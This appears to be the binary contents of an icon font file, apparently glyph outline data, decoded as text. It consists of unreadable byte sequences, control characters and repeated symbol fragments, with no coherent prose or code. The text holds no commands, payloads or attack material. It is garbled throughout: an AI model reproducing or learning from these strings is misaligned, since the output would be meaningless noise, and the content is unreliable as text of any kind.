zB^^B4LvyKjK4L[!^k'!A3;):2*<vTq6^BB^L4$)*    @     A  4#"&54"3! 4."#!"&5!"&5>547&5462;U gIv0ZZ0L4@Ԗ@4L2RX='8P8'=XR U;Ig0,3lb??bl34LjjL4*\(88(\    } I  /#"/'&/'&?'&'&?'&76?'&7676767676`
(5)0
)*)
0)5(

(5)0
))))
0)5(
*)
0)5(
)5)0
)**)
0)5)

)5)0
)*      5 h  $4&"24&#!4>54&#"+323254'>4'654&'!267+#"'&#!"&5463!2>767>32!2 &4&&4N2$YGB(HGEG  HQ#5K4Li!<;5KK5 
A#("/?&}vh4&&4&3M95S+C=,@QQ9@@IJ 2E=L5i>9eME;K55K	J7R>@#zD<      5 = q  %3#".'&'&'&'.#"!"3!32>$4&"2#!"#"&?&547&'#"&5463!&546323!2`  #A<(H(GY$2NL4K5#aWTƾh&4&&4K5;=!ihv}&?/"(#A
 5K2*!	Q@.'!&=C+S59M34L=E2 JI UR@@&4&&4&5K;ELf9>ig<Dz#@>R7J	K          5 h  4&"24#"."&#"4&#"".#"!54>7#!"&54.'&'.5463246326326 &4&&4IJ 2E=L43M95S+C=,@QQ9@@E;K55K	J7R>@#zD<gi>9eMZ4&&4&<#5K4LN2$YGB(HGEG  HV;5KK5 
A#("/?&}vhi!<         4 < p  4.=!32>332653272673264&"2/#"'#"&5#"&54>767>5463!2@@2*!	Q@.'!&=C+S59M34L.9E2 JI UR&4&&4&Lf6Aig6Jy#@>R7J	K55K;E@TƾH  #A<(H(GY$2NL4K#5#a=4&&4&D=ihv}&?/"(#A
 5KK5;         +  54&#!764/&"2?64/!26  $$  &
[6[[j6[& ^aa@&4[[6[[6&+^aa        +   4/&"!"3!277$ $$ [6[
&&[6j[^aae6[j[6&&4[j[^aa      +   4''&"2?;2652?$ $$ [6[[6&&4[^aaf6j[[6[
&&[^aa      +   4/&"4&+"'&"2?  $$ [6&&4[j[6[j^aad6[&&
[6[[j ^aa             $2>767676&67>?&'4&'.'.'."#&6'&6&'3.'.&'&'&&'&6'&>567>#7>7636''&'&&'.'"6&'6'..'/"&'&76.'7>767&.'"76.7"7"#76'&'.'2#22676767765'4.6326&'.'&'"'>7>&&'.54>'>7>67&'&#674&7767>&/45'.67>76'27".#6'>776'>7647>?6#76'6&'676'&67.'&'6.'.#&'.&6'&.5/a^D&"	


	4	$!	#	
		
	


 
.0"Y
	+!	
	
$		"+


		
	Α	
		^aa
	

					

		
			P '-(	#	*	$
"!				*
!	
(				
	
$
		
2   ~   /  $4&"2	#"/&547#"  32>32&4&&4V%54'j&&'/덹:,{	&4&&4&V%%l$65&b'Cr!"k[G             + ;  %!5!!5!!5!#!"&5463!2#!"&5463!2#!"&5463!2    &&&&&&&&&&&&@ && && && && && &&   {    #"'&5&763!2{' * *)* )'             /  !5!#!"&5!3!26=#!5!463!5463!2!2  ^B@B^&@&`   ^B`8(@(8`B^   B^^B&&B^(88(^      G  	76#!"'&?	#!"&5476	#"'&5463!2	'&763!2#"'c)'&@**@&('c(&*cc*&'*@&('c'(&*cc*&('c'(&@*        1 9 A S [  #"&532327#!"&54>322>32 "&462  &6 +&'654'32>32"&462QgRp|Kx;CByy 6Fe=
BPPB
=eF6  ԖV>!pRgQBC;xK|Ԗ{QNa*+%xx5eud_C(+5++5+(C_due2ԖԖ>NQ{u%+*jԖԖ     p ! C i  4/&#"#".'32?64/&#"327.546326 #"/&547'#"/&4?632632(* 8(!)(A(')* 8(!USxySSXXVzxTTUSxySSXXVzxT@( (8 *(('((8 SSUSx{VXXTTSSUSx{VXXT        #!" 5467&54 32632t,Ԟ;F`j)6,>jK?  s  !  %#!"&7#"&463!2+!'5#8EjjE8@&& &&@XYY&4&&4&qDS%q%         N \ j x     2"&4#"'#"'&7>76326?'&'#"'.'&676326326&'&#"32>'&#"3254?''74&&4&lNnbSVZbRSD	zz	DSRb)+USbn\.2Q\dJ'.2Q\dJ.Q2.'Jd\Q2.'Jd`!O` 	`&4&&4r$#@B10M5TNT{L5T	II	T5L;l'OT4M01B@#$*3;$*3;;3*$;3*$:$/ @@Qq`@         " % 3 <  2#!"&5!"&5467>3!263!	!!#!!46!#!(88(@(8(8(`((8D<++<8(` (8(`8(@(88( 8((`(8((<`(8 (``(8    || ?  %#"'&54632#"'&#"32654'&#"#"'&54632|udqܟs]
=
OfjL?R@T?"&
>
f?rRX=Edudsq
=
_MjiL?T@R?E& f
>
=XRr?b      ! 1 E  )!34&'.##!"&5#3463!24&+";26#!"&5463!2  

08((88(@(88((88((`(1

`(88( (88( @`(88(@(8(`         #!"&5463!2 w@www`@www             /  %#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&&&&&    @    ' 7 G  $"&462"&462#!"&=463!2 "&462#!"&=463!2#!"&=463!2ppppppp@ppp@@Рppppppppp         < L \ l |  #"'732654'>75"##5!!&54>54&#"'>3235#!"&=463!2!5346=#'73#!"&=463!2#!"&=463!2}mQjB919+i1$AjM_3</BB/.#U_:IdDRE@k*Gj@@TP\BX-@8
C)5XsJ@$3T4+,:;39SG2S.7<vcc))%Ll}         5 e  2#!"&=463%&'&5476!2/&'&#"!#"/&'&=4'&?5732767654'&@02uBo
T25XzrDCBBEh:%)0%HPIP{rQ9f#-+>;I@KM-/Q"@@@#-bZ$&P{<8[;:XICC>. '5oe80#.0(l0&%,"J&9%$<=DTI     c s  &/6323276727#"327676767654./&'&'737#"'&'&'&54'&54&#!"3!260%<4"VRt8<@<-#=XYhW8+0$"+dTLx-'I&JKkmuw<=V@!X@		v'|N;!/!$8:IObV;C#V
&(mL.A:9 !./KLwPM$@@  
       / ? O _ o     %54&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!26#!"&5463!2 @@ @ @ @ @ @ @@^BB^^B@B^NB^^B@B^^         # + 3  	'$"/&4762%/?/?/?/?%k*66bbbb|<<<bbbbbbbb%k66Ƒbbb<<<<^bbbbbb    @      M  $4&"2!#" 4&"2&#"&5!"&5#".54634&>?>;5463!2LhLLh		 LhLLhL!'ԖԖ@'!&	?& &LhLLhL 		hLLhL 	jjjj	&@6/"&&       J   #"'676732>54.#"7>76'&54632#"&7>54&#"&54$  ok;	-j=yhwi[+PM3ѩk=J%62>VcaaQ^ ]G"'9r~:`}Ch  0=Z٤W=#uY2BrUI1^Fk[|a      L  2#!67673254.#"67676'&54632#"&7>54&#"#"&5463ww+U	,i<F{jh}Z+OM
2ϧj<J%51=Ubwww@wzX"'8'TyI9`{Bf 
,>XբW<"uW1AqSH1bdww        ' 7  4'!3#"&46327&#"326%35#5##33#!"&5463!20U6cc\=hlࠥYmmnnnnw@wwww&46#Ȏ;edwnnnnn@www    	 ] # /  #"$&6$3 &#"32>7!5!%##5#5353Еttu{zz{SZC`cot*tq||.EXN#??           , <  !5##673#$".4>2"&5!#2!46#!"&5463!2 rM* *M~~M**M~~M*jjj& && &`P%挐|NN||NN|* jj jj@&&&&    @     "'&463!2 @4@&Z4@4&        @    #!"&4762 &&4Z4&&4@     @    "'&4762&4@4&@&4&      @    "&5462@@4&&44@&&@           3!!%!!26#!"&5463!2`m`^BB^^B@B^ `@B^^BB^^    @     "'&463!2#!"&4762 @4@&&&&44@4&Z4&&4@            "'&463!2 @4@&4@4&        @    #!"&4762 &&4Z4&&4@          :  #!"&5;2>76%6 +".'&$'.5463!2 ^B@B^,9j9Gv33vG9H9+bI\
A+=66=+A
[">nSMA_:B^^B1&c*/11/*{'VO3@/$$/@*?Nh^    l   +  !+"&5462!4&#"!/!#>32]_gTRdgdQV?UI*Gg?!2IbbIJaaiwE3300 08        4   #"$'&6?6332>4.#"#!"&54766$32 z䜬m
IwhQQhbF*@&('kz
	
_hQнQGB'(&*eoz  ( q  !#"'&547"'#"'&54>7632&4762.547>32#".'632%k'45%&+ ~((h		&

\((		&

~ +54'k%5%l%%l$65+ ~

&		((\

&		h((~ +%'         ! ) 1 9 K   4&"2 4&"26.676&$4&"2 4&"24&"2#!"'&46$ KjKKjKjKKje2.e<^P,bKjKKjKjKKjKjKKj##LlLKjKKjKjKKjK~-M<M(PM<rjKKjKjKKjKujKKjKL           <    6?32$6&#"'#"&'5&6&>7>7&54$ LhяW.{+9E=cQdFK1A
0)pJ2`[Q?l&٫C58.H(Y'        : d    6?32$64&$ #"'#"&'&4>7>7.546'&'&'# '32$7>54'Yj`a#",5NK
~EVZ|$2$
|:
$2$|ZV:(t}hfR88T
h̲X(	&%(Hw(%&	(XZT\MKG{x   | !  #"'.7#"'&7>3!2%632u
jH{(e9
1b      U  #!"&546;5!32#!"&546;5!32#!"&546;5463!5#"&5463!2+!232 8((88(` `(88((88(` `(88((88(`L4 `(88(@(88(` 4L`(8 (88(@(88((88(@(88((88(@(84L8(@(88((8L48      O Y  "&546226562#"'.#"#"'.'."#"'.'.#"#"&5476 $32&"5462И&4&NdN!>!1X:Dx++ww++xD:X1- U! *,*&4&hh&&2NN2D&
..J<
$$
<JJ<
$$
<J..
Pbb&&          7  !!"&5!54&#!"3!26!	#!"&=!"&5463!2 `(8 @ + 8(@(8(88(@(8(8( @@m+U`(88(8(@(88(h`         ( \  "&54&#"&46324."367>767#"&'"&547&547&547.'&54>2l42cKEooED
)

)
Dg-;</-?.P^P.?-/<;-gYY.2 L4H|O--O|HeO,,Oeq1Ls26%%4.2,44,2.4%%62sL1qcqAAq      4  #!#"'&547632!2#"&=!"&=463!54632 		@	`		`?`
@		@	!		
          5  4&+4&+"#"276#!" 5467&54 32632 	`		_
v,Ԝ;G_j)``			_ԟ7,>jL>       5  4'&";;265326#!" 5467&54 32632 			
v,Ԝ;G_j)	`		`7,>jL>        X `  $"&462#!"&54>72654&'547 7"2654'54622654'54&'46.'  &6 &4&&4&yy%:hD:FppG9Fj 8P8 LhL 8P8 E;
Dh:%>4&&4&}yyD~s[4Dd=PppP=d>hh>@jY*(88(*Y4LL4Y*(88(*YDw"
A4*[s~>       M   4&"27 $=.54632>32#"' 65#"&4632632 65.5462 &4&&4G9&
<#5KK5!!5KK5#<
&ܤ9Gpp&4&&4&@>buោؐ &$KjKnjjKjK$& jjb>Ppp        %  !5!#"&5463!!35463!2+32  @\\ 8(@(8 \@@\ \@\  (88(\   @    3  4#"&54"3#!"&5!"&5>547&5462;U gI@L4@Ԗ@4L2RX='8P8'=XR U;Ig04LjjL4*\(88(\    @    "   4&+32!#!"& +#!"&5463!2pP@@P j j@@\@\&0pj	 \\&       - B  +"&5.5462265462265462+"&5#"&5463!2G9L44L9G&4&&4&&4&&4&&4& L44L &=d4LL4d=&&`&&&&`&&&&4LL4  &         # 3 C S  #!"&5463!2!&'&!"&5!463!2#!"&52#!"&=4632#!"&=463(8((88((`x
c`(8  @@@`((88(@(8(D9 8( `@@@ @@        / ? O _ o         -=  %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!!5463!2#!"&5463!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @ & && &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  `&&&&        / ? O _ o        %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!#!"&=!!5463!24&+"#54&+";26=3;26%#!"&5463!463!2!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@  8(@(8 @@@@@ & &&@8((8@&@@@@@@@@@@@@@@@@@@@@ (88( @````- && & (88(&  @    < c  $4&"2!# 4&"254&+54&+"#";;26=326+"&5!"&5#"&46346?>;463!2KjKKj KjKKj &ԖԖ&&@&&KjKKjK 
jKKjK .&jjjj&4&@@&&      # ' 1 ? I  54&+54&+"#";;26=326!5!#"&5463!!35463!2+32    \\8(@(8 \  \ \@\  (88(\          :  #32+53##'53535'575#5#5733#5;2+3@E&&`@@`    `@@`&&E%@`@ @ @		      		@ 0
    @      !3!57#"&5'7!7! K5@   @ 5K@@@      # 3  %4&+"!4&+";265!;26#!"&5463!2 && &&&& && w@www&&@&&&&@&&@www        # 3  54&#!4&+"!"3!;265!26#!"&5463!2 &&&&&@&&@& w@www@&@&&&&&&@&:@www    - M3  )  $"'&4762	"'&4762	s
2

.



2

w
2

.



2

w
2





2

ww

2





2

ww     M3  )   "/&47	&4?62"/&47	&4?62S
.

2

w

2


.

2

w

2

M
.

2



2

.

.

2



2

.   M 3S  )  $"'	"/&4762"'	"/&47623
2

ww

2





2

ww

2




2

w

2



.v
2

w

2



.    M 3s  )   "'&4?62	62"'&4?62	623
.

.

2



2

.

.

2



2
.



2

w

2v
.



2

w

2   - Ms3    	"'&4762s
w

2

.



2
ww

2





2     MS3    "/&47	&4?62S
.

2

w

2

M
.

2



2

.    M3S    "'	"/&47623
2

ww

2



m
2

w

2



.    M-3s    "'&4?62	623
.

.

2



2-
.



2

w

2        /  4&#!"3!26#!#!"&54>5!"&5463!2 @^B  & &  B^^B@B^ @MB^%Q=&&<P&^B@B^^            + 3  "&5463!2#3!2654&#!"3#!"&=324+"3B^^B@B^^B@`^BB^p ^BB^^B@B^`@S`(88(``             '  $4&"2%4&#!"3!26#!"&5463!2&4&&4@^BB^^B@B^f4&&4&@B^^B@B^^            /  $4&"2%4&#!"3!264+";%#!"&5463!2/B//B   0L4 4LL4 4L_B//B/@M    4LL4 4LL            >& $$ (r^aa(^aa        ! C  #!"&54>;2+";2#!"&54>;2+";2 pPPpQh@&&@j8(PppPPpQh@&&@j8(Pp@PppPhQ&&j (8pPPppPhQ&&j (8p         ! C  +"&=46;26=4&+"&5463!2+"&=46;26=4&+"&5463!2 Qh@&&@j8(PppPPpQh@&&@j8(PppPPp@hQ&&j (8pPPppP@hQ&&j (8pPPpp     @@  	   # + 3 ; G  $#"&5462 "&462 "&462#"&462 "&462 "&462 "&462#"&54632K54LKj=KjKKjKjKKjL45KKjK<^^^KjKKjppp\]]\jKL45KjKKjKujKKjK4LKjKK^^^jKKjKpppr]]\            $$  ^aaQ^aa      ,  #"&5465654.+"'&47623  #>bqb&4  4&ɢ5"		#D7euU6 & 4 & m       1 X   ".4>2".4>24&#""'&#";2>#".'&547&5472632>3=T==T==T==T=v)GG+v@bRRb@=&\Nj!>3lkik3hPTDDTPTDDTPTDDTPTDD|xxXK--K|Mp<#	)>dA{RXtfOT# RNftWQ          ,  %4&#!"&=4&#!"3!26#!"&5463!2!2 8(@(88((88((8\@\\@\\(88(@(88(@(88@\\\\       u  ' E  4#!"3!2676%!54&#!"&=4&#!">#!"&5463!2!2325([5@(\& 8((88((8 ,9.+C\\@\ \6Z]#+#,k(88(@(88(;5E>:5E\\\ \1.           $ 4 @  "&'&676267> "&462"&462 .  > $$ n%%/02
KjKKjKKjKKjKfff^aayy/PccP/jKKjKKjKKjKffff@^aa        $ 4 @  &'."'.7>2 "&462"&462 .  > $$ n20/%7KjKKjKKjKKjKfff^aa3/PccP/y	jKKjKKjKKjKffff@^aa         + 7   #!"&463!2 "&462"&462 .  > $$ &&&&KjKKjKKjKKjKfff^aa4&&4&jKKjKKjKKjKffff@^aa       # + 3 C  54&+54&+"#";;26=3264&"2 4&"2$ #"'##"  3!2@@KjKKjKKjKKjKܒ,gjKKjKKjKKjKXԀ,,          # / ; G S _ k w       +"=4;27+"=4;2'+"=4;2#!"=43!2%+"=4;2'+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;54;2!#!"&5463!2```` ````````````` `` `` p` K55KK55Kp````````````````````````` 5KK55KK     @   * V  #"'.#"63232+"&5.5462#"/.#"#"'&547>32327676R?d^7ac77,9xm#@#KjK#
ڗXF@Fp:f_ #WIpp&3z	h[ 17q%q#::#5KKu't#!X:	%#+=&>7p   @    * 2 F r  56565'5&'.	#"32325#"'+"&5.5462#"/.#"#"'&547>32327676@ͳ82.,#,fk*1x-!#@#KjK#
ڗXF@Fp:f_ #WIpp&3z	e`vo8t-	:5	[*#::#5KKu't#!X:	%#+=&>7p    3  $  	"/&47	&4?62#!"&=463!2I.

2

w

2


-@).

2



2

.
-@@     -S  $ 9  %"'&4762		/.7>	"/&47	&4?62i2

.



2

w
E>u>.

2

w

2


2





2

ww
!h.

2



2

.
       ;  #"'&476#"'&7'.'#"'&476'  )'s"+5+@ա'  )'F* 4 *Er4M:}}8GO* 4 *     ~ 
 (  -/'	#"'%#"&7&67%632B;><V??V --C4
<B=cB5!%%!b 7I))9I7        	#"'.5!".67632y(
#
  ##@,(
)        8  !	!++"&=!"&5#"&=46;546;2!76232-SSS

		 SS``		

          K  $4&"24&"24&"27"&5467.546267>5.5462 8P88P88P88P8P88P4,CS,4pp4,,4pp4,6d7AL*',4ppP88P8P88P8HP88P8`4Y&+(>EY4PppP4Y4Y4PppP4Y%*<O4Y4Ppp        % @ \ h t   	"'&4762"&5462&#!"&463!2#"'&'7?654'7&#"&'&54?632#!"&463!2"&5462"'&4762 		 

	@USxySR#PT('#TUSxySN@ 		 

		 		

 		
3@xSSUO#'(V^'(PVvxSSUi @ 		

 		
   `     <  +"&=46;2+"&=467>54&#"#"/.7!2<'G,')7N;2]=A+#H0PRH6^;<T%-S#:/*@Z}

>h         .  %#!"&=46;#"&=463!232#!"&=463!2& &&@@&&&@&& && &&&&&&&&f&&&&   b      #!"&=463!2#!"&'&63!2 & && &' '%@% &&&& && &&    k % J  %#/&'#!53#5!36?!#!'&54>54&#"'6763235
Ź}4NZN4;)3.i%Sin1KXL7觧*		#&		*@jC?.>!&1'\%Awc8^;:+<!P        % I  %#/&'#!53#5!36?!#!'&54>54&#"'6763235
Ź}4NZN4;)3.i%PlnEcdJ觧*		#&		*-@jC?.>!&1'\%AwcBiC:D'P           %!	#!"&'&6763!2P &: &?&: &?5"K ,)""K ,)      h  #".#""#"&54>54&#"#"'./"'"5327654.54632326732>32YO)I-D%n "h.=T#)#lQTv%.%P_	%	%_P%.%vUPl#)#T=@/#,-91P+R[Ql#)#|''
59%D-I)OY[R+P19-,# #,-91P+R[YO)I-D%95%_P%.%v      ' 3   !2#!"&463!5& =462   =462 &546  &&&& &4&r&4& @&4&&4&G݀&&&&f    s   C K  &=462	#"'32 =462 !2#!"&463!5&'"/&4762%4632e*&4&i76`al&4& &&&& }n

R



R
zfOego&&5`3&&&4&&4&D

R



R
z v        "  !676"'.5463!2@@w^Cct~55~tcC&&@?J V|RIIR|V &&           # G  !!%4&+";26%4&+";26%#!"&546;546;2!546;232@@ @@L44LL4^B@B^^B@B^4L   N 4LL4 4L`B^^B``B^^B`L      L   4&"2%#"'%.5!#!"&54675#"#"'.7>7&5462!467%632 &4&&4@ o& &}c ;pG=(8Ai8^^.&4&&4&`	`fs&& jo/;J!#2
 KAE*,B^^B!`	   $   -   4&"2#"/&7#"/&767%676$!28P88PQr	@U	@
{`PTP88P8P`
	@U	@rQ           !6'&+!!!!2Ѥ8̙e;<*@8 !GGGQII            %764'	64/&"2  $$ f3f4:4^aaf4334f:4:^aa         %64'&"	2  $$ :4f3f4F^aa4f44f^aa         764'&"27	2  $$ f:4:f4334^aaf4:4f3^aa            %64/&"	&"2  $$ -f44f4^aa4f3f4:w^aa   @    7!!/#35%!'!%j/djg2|855dc b    @   !	!%!!7!FG)DH:&HdS)         U   4&"2#"/ $'#"'&5463!2#"&=46;5.546232+>7'&763!2&4&&4f]wq4qw]	`dC&&:FԖF:&&Cd`4&&4&	]]	`d[}&&"uFjjFu"&&y}[d       #  2#!"&546;4   +"&54&" (88(@(88( r&@&Ԗ 8((88(@(8@&&jj           ' 3   "&462 &         .  > $$  Ԗ>aX,fff^aaԖԖa>TX,,~ffff@^aa          /  +"&=46;2+"&=46;2+"&=46;28((88((8 8((88((8 8((88((8 (88((88((88((88((88((88           /  +"&=46;2+"&=46;2+"&=46;28((88((88((88((88((88((8 (88((88(88((88(88((88        5 E  $4&"2%& '&;26%&.$'&;276#!"&5463!2 KjKKjf	
\
w@wwwjKKjK"Gܚf


	@www             $64'&327/a^  !  ^aaJ@%%	  65   /  	64'&"2	"/64&"'&476227 <ij6j6u%k%~8p8}%%%k%}8p8~%<<ij4j4t%%~8p8~%k%%%}8p8}%k          54&#!"3!26#!"&5463!2 &&&& w@www@&&&&:@www        /  #!"&=463!24&#!"3!26#!"&5463!2@^BB^^B@B^www@w@@2@B^^BB^^ww@w        +#!"'&?63!#"'&762(@	@(@>@%%%         !232"'&76;!"/&76 ($>(		 J &%       $  %64/&"'&"2#!"&5463!2ff4-4ff4fw@wwwf4f-f4@www         /  #5#5'&76	764/&"%#!"&5463!248`# \P\w@www4`8#@  `\P\`@www        )  4&#!"273276#!"&5463!2 & *f4' w@www`&')4f*@www     % 5  	64'&"3276'7>332#!"&5463!2`'(wa8!
,j.(&w@www`4`*'?_`ze<	bw4/*@www           - .  6  $$     (r^aaO (_^aa       -  "'&763!24&#!"3!26#!"&5463!2yB((@ w@www]#@## @@www       -  #!"'&7624&#!"3!26#!"&5463!2y((@B@u@ w@www###@@@www       -   '&54764&#!"3!26#!"&5463!2@@####@ w@wwwB((@@www      `  %#" '#"&=46;&7#"&=46;6 32/.#"!2#!!2#!32>?6#!"'?_BCbCaf\	+~2	

	}0$q90r pr%Dpu       ?  #!"&=46;#"&=46;54632'.#"!2#!!546;2Da__	g	
*`-Uh1߫}
	$^L    4   b  +"&=.'&?676032654.'.5467546;2'.#"ǟB{PDg	q%%Q{%P46'-N/B).ĝ9kC<Q7>W*_x*%K./58`7E%_	,-3
cVO2")#,)9;J)"!*
#VD,'#/&>AX      >  ++"' '&=46;267!"&=463!&+"&=463!2+32Ԫ$
		pU9ӑ@/*fo	VRfqf=S     E  !#"&5!"&=463!5!"&=46;&76;2>76;232#!!2#![ 

%
)
	"JgUhBW&WXhUg        8   4&#!!2 #!!2#!+"&=#"&=46;5#"&=46;463!2j@jog|@~vvu            n  #467!!3'##467!++"'#+"&'#"&=46;'#"&=46;&76;2!6;2!6;232+32QKt# #FNQo!"դѧ!mY

Zga~bm]

[o"U+, @h
h@@Xhh@   8  3 H \  #5"'#"&+73273&#&+5275363534."#22>4.#2>ut3NtRP*Ho2
Lo@!R(Ozh=,G<X2O:&D1A.1G$<2I+A;"B,;&$LGlF/ 3D;a$8$".!3!
.          3!#!"&5463! 8( 8((88(  h (8(88(@(8         ( 8 H  !!#!"&5463!54&#!"3!2654&#!"3!2654&#!"3!26(D 8((88( 8@@@$(88(@(8(8 @@@@@@   " }  
 $ B R  3/&5##"'&76;46;232!56?5"#+#5!76;5!53'#3!533H

Dq		x7	K//KFh/"		@`Z		sYwjjjjj     " }  
 $ 4 R  %3/&5##"'&76;46;232!53'#3!533!56?5"#+#5!76;5H

K//KFq		x7	h/"		@`jjjjjZ		sY
w  "     ) 9 I Y  %#"'&76;46;232#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2

 @@  `		@`     "     ) 9 I Y  #!"&=463!2%#"'&76;46;232#!"&=463!2#!"&=463!2#!"&=463!2   

@@ r		@`r    "   
 $ C V  %4&#"326#"'&76;46;232%#"'&'73267##"&54632!5346=#'73BX;4>ID2F

8PuE>.'%&TeQ,jm{+>R{?jJrL6V		@`7>wmR1quWei/rr:Vr     "   
 $ 7 V  4&#"326#"'&76;46;232!5346=#'73#"'&'73267##"&54632BX;4>ID2F

+>R{8PuE>.'%&TeQ,jm{?jJrL6		@`rr:Vr3>wmR1quWei    @   \  %4&#"326#!"&5463!2+".'&'.5467>767>7>7632!2 &%%&&&& &7.'	:@$LBWM{#&$h1D!		.I/!	Nr&&%%&&&&V?, L=8=9%pEL+%%r@W!<%*',<2(<&L,"r       @    \  #"&546324&#!"3!26%#!#"'.'.'&'.'.546767>; &%%&&&& &i7qN	!/I.		!D1h$&#{MWBL$@:	'.&&%%&&&&=XNr%(M&<(2<,'*%<!W@r%%+LEp%9=8=L       	   + = \ d       %54#"327354"%###5#5#"'&53327#"'#3632#"'&=4762#3274645"=424'.'&!  7>76#'#3%54'&#"32763##"'&5#327#!"&5463!2BBPJNC'%!	B?)#!CC $)54f"@@
B+,A

A+&+A
ZK35N #J!1331CCC $)w@www2"33FYF~(-%"o4*)$(*	(&;;&&9LA38334S,;;,WT+<<+T;(\g7x:&&::&&<r%-@www       	   + = [ c }     #"'632#542%35!33!3##"'&5#327%54'&#"5#353276%5##"=354'&#"32767654"2 '.'&547>76 3#&'&'3#"'&=47632%#5#"'&53327''RZZ:kid YYY.06	62+YY-06	R[!.'CD''EH$VVX::YX;:Yfyd/%jG&DC&&CD&O[52.[$C-D..D^^* ly1%=^I86i077S3
$EWgO%33%OO%35	EEFWt;PP;pt;PP;pqJgTFQ%33&PP%33%R7>%3!+}   {  '  +"&72'&76;2+"'66;2U
&
	(P

*'eJ."-dZ-n -         ' 7  4'&+";27&+";276'56#!"&5463!2~}		7e 	۩w@www"$Q#'!#@www       
   I  -22#!&$/.'.'.'=&7>?>369II ! '	$ !01$$%A'	$ ! g	
\7@)(7Y
	
 \7@)(7Y
   @       	'5557	,VWQV.RW=?l%l`~0            !#!#%777	5!	R!!XCCfff݀# `,{{{`          O g   4&"2  &6 $"&462$"&62>7>7>&46.'.'.  '.'&7>76  Ԗ HR6L66LGHyU2LL2UyHHyU2LL2UyHn
X6X

XX
ԖԖH6L66L6L2UyHHyU2LL2UyHHyU2Ln6X

XX

           2#!"&5463 4&"2$4&"2ww@ww||||||w@www|||||||       	   !3	37!  $$  n6^55^h
^aaM1^aa    P 
  * C g  '.676.7>.'$7>&'.'&'? 7%&'.'.'>767$/u5'&$I7ob?K\[zH,1+.@\7<?5\V,$Vg.GR@ 7U,+!	#	"8$}{)<?L RR;kr,yE[z#	/1
"#	#eCI0/"5#`	"84~&p)4	2{H-.%W.L>       ' : Y i  4&67&'&676'.'>7646&' '7>6'&'&7>7#!"&5463!2PR$++'TJXj7-FC',,&C."!$28h/"	+p^&+3$i0(w@www+.i6=Bn\C1XR:#"'jj8Q.cAj57!?"0D$4"P[&2@www     D   "  %.5#5>7>;!!76PYhpN!HrD0M C0N#>8\xx: W]oW-X45       /  %'#.5!5!#"37>#!"&5463!2p>,;$4
 5eD+WcEw@wwwK()F
,VhV^9tjA0/@www  @     #"'&76;46;23

	 &

         ++"&5#"&7632	^

c &

     @    #!'&5476!2  &

^

b	        '&=!"&=463!546
 &

	
     q  & 8  #"'&#"#"5476323276326767q'T1[VA=QQ3qqHih"-bfGw^44O#A?66%CKJA}}  !"䒐""A$@C3^q|z=KK?6lk)           %!%!VVuuu^-m5w}n      ~    7 M [   264&"264&"2"&546+"&=##"&5'#"&5!467'&766276#"&54632    *<;V<<O@-K<V<<+*<J.@kclGH__H<+*<<*+<    <*R+<<+*<f.@+<<++<<+@.7uu7**R+<<++;; 	      "%3I  #5472&6&67><&4'>&4.'.'.'.'.'&6&'.'.6767645.'#.'6&'&7676"&'&627>76'&7>'&'&'&'&766'.7>7676>76&6763>6&'&232.'.6'4."7674.'&#>7626'.'&#"'.'.'&676.67>7>5'&7>.'&'&'&7>7>767&'&67636'.'&67>7>.'.67	\

	U7	
J#!W!'	"';%
k	)"	
	'

/7* 		I	,6
*&"!O6*O $.(	*.'
.x,	$CN	
		*	
6		
7%&&_f&
",VL,G$3@@$+
"


V5 3"	""#dA++
y0D-%&n4P'A5j$9E#"c7Y
6"	&
8Z(;=I50' !!eR

"+0n?t(-z.'<>R$A"24B@(	~	9B9,	*$				<>	?0D9f?Ae 	.(;1.D	4H&.Ct iY% *	
7J	 <W0%$	
""I!*D	 ,4A'4J"	.0f6D4pZ{+*D_wqi;W1G("%%T7F}AG!1#% JG3        ' . 2 > V b  %&#'32&'!>?>'&' &>"6&#">&'>26 $$  *b6~#= XP2{&%gx| .W)oOLOsEzG<	CK}E	$MFD<5+
z^aa$MWM1>]|YY^DեA<KmE6<"@9I5*^aa       > ^  4./.543232654.#"#".#"32>#"'#"$&547&54632632':XM1h*+D($,/9p`DoC&JV<Z PA3Q1*223IoBkែhMIoPែhMIoP2S6,M!"@-7Y.?oI=[<%$('3 -- <-\%FuPoIMhPoIMh    ,  # ? D  76&#!"7>;267676&#!"&=463!267
#!"'&5463!26%8#!&&Z"M>2!	^I7LRx_@>MN""`=&&*%I},
		L7_jj9          /  %4&#!"3!264&#!"3!26#!"&5463!2  &&&&  &&&&         1 9  #"'#++"&5#"&5475##"&54763!2 "&462 8(3-	&B..B&	-3(8 IggI `(8+Ue&.BB.&+8(kk`      % -  "&5#"&5#"&5#"&5463!2 "&462 8P8@B\B@B\B@8P8pPPp@`(88(`p.BB.0.BB.(88(Pppͺ      !  %>&'&#"'.$ $$ ^/(V=$<;$=V).X^aaJ`"(("`J^aa    ,   I   4."2>%'%"/'&5%&'&?'&767%476762%6[՛[[՛oܴ
 
		$$	"	$$		՛[[՛[[5`

^^

2``2

^^

`     1  %#"$54732$%#"$&546$76327668ʴhf킐&^zs,!V[vn)	6<ׂf{z}))Ns3(  @   +   4&#!"3!2#!"&5463!2#!"&5463!2@& && f&&&&@& && &4&&4& @&&&& && &&    ` B H   +"/##"./#"'.?&5#"&46;'&462!76232!46 `&C6@Bb03eI;:&&&4L4&F
Z4&w4) ''5r&4&&4&&4    }G   #&/.#./.'&4?63%27>'./&'&7676>767>?>%6})(."2*& @P9A
#sGq]
#lh<*46+(	
<5R5"*>%</
 '2@ 53*9*,Z&VE/#E+)AC
(	2k<X1$:hI(B"	!:4Y&>"/	+[>hy
	   K 
